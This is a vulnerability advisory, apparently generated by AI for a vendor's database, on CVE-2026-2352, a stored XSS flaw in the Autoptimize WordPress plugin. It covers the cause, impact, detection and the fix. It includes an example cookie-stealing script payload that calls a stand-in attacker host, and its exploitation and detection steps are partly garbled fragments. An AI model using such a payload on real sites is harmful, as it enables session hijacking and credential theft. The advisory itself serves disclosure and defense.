
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-2352 is a Stored Cross-Site Scripting (XSS) vulnerability in the Autoptimize plugin for WordPress, affecting all versions up to and including 3.1.14. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts via the ao_post_preload meta value, which execute whenever a user visits an affected page — provided the "Image optimization" or "Lazy-load images" setting is enabled. The vulnerability was published on March 21, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Specifically, the ao_metabox_save() function in autoptimizeMetabox.php stored the raw $_POST['ao_post_preload'] value without sanitization, and autoptimizeImages.php rendered this value directly into a <link> HTML tag without output escaping. The fix, committed to the repository as commit 60d1e48, adds sanitize_text_field() to the save function and wraps the preload tag output through a kses_preload_link() method using wp_kses() for allowlist-based HTML sanitization (GitHub Commit, Wordfence).
Successful exploitation allows an authenticated attacker with at minimum Contributor-level WordPress access to persistently inject malicious JavaScript into post pages. The injected script executes in the context of any user — including administrators — who visits the compromised page, enabling session hijacking, credential theft, unauthorized administrative actions, or further site compromise. The CVSS scope is marked as "Changed," reflecting that the impact extends beyond the attacker's own session to affect other users' browsers (Wordfence, Red Hat CVE).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-2352 as of the available data. The EPSS score is approximately 0.042%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least Contributor-level access and the plugin's image optimization or lazy-load feature to be enabled (Wordfence).
"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the ao_post_preload post meta field.ao_post_preload metabox field. Because ao_metabox_save() stores the value without sanitization, the payload is persisted to the database.autoptimizeImages.php renders the unsanitized value into a <link> tag, causing the injected script to execute in the victim's browser./wp-admin/post.php) from Contributor-level accounts containing script tags or encoded JavaScript in the ao_post_preload parameter.wp_postmeta table under the ao_post_preload meta key for any post.Update the Autoptimize plugin to version 3.1.15 or later, which includes the patch that adds sanitize_text_field() to the ao_metabox_save() function and applies wp_kses() output escaping via kses_preload_link() in autoptimizeImages.php. As a temporary workaround, disabling the "Image optimization" and "Lazy-load images" settings in the Autoptimize plugin configuration will prevent the vulnerable code path from being triggered. Site administrators should also audit existing post meta values for the ao_post_preload key to check for any previously injected payloads (GitHub Commit, Wordfence).
Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for the week of March 16–22, 2026, and Sucuri referenced it in their March 2026 vulnerability patch roundup (Wordfence Blog, Sucuri Blog). No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been identified.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."